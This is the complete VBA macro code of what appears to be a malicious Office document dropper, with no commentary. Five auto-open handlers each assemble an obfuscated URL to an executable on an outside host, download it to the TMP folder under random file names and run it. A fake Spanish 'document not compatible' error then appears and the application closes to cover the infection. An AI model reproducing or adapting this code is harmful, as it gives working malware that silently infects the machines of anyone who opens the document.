malmalmalware

Private Sub AutoExec()
Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "ds8fydsa89f7." & "ex" & "e")
End Sub
Private Sub Workbook_Open()
Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "rsd54tgs." & "ex" & "e")
End Sub
Private Sub Document_Open()
Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "hjhhjhjhjhj." & "ex" & "e")
End Sub
Private Sub AutoOpen()
Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "fsfsfsdsd." & "ex" & "e")
End Sub
Private Sub Auto_Open()
Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "4b646n46." & "ex" & "e")
End Sub

Public Function DownloadFile(ByVal ns1 As Integer, ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear

    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", URL, False
    XML.send

    XML.getAllResponseHeaders

    FullSavePath = Environ(SavePath) & "\" & SaveName

    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2

    Shell FullSavePath, vbNormalFocus

    MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Error"

    Application.DisplayAlerts = False
    Application.Quit
    DownloadFile = True
End Function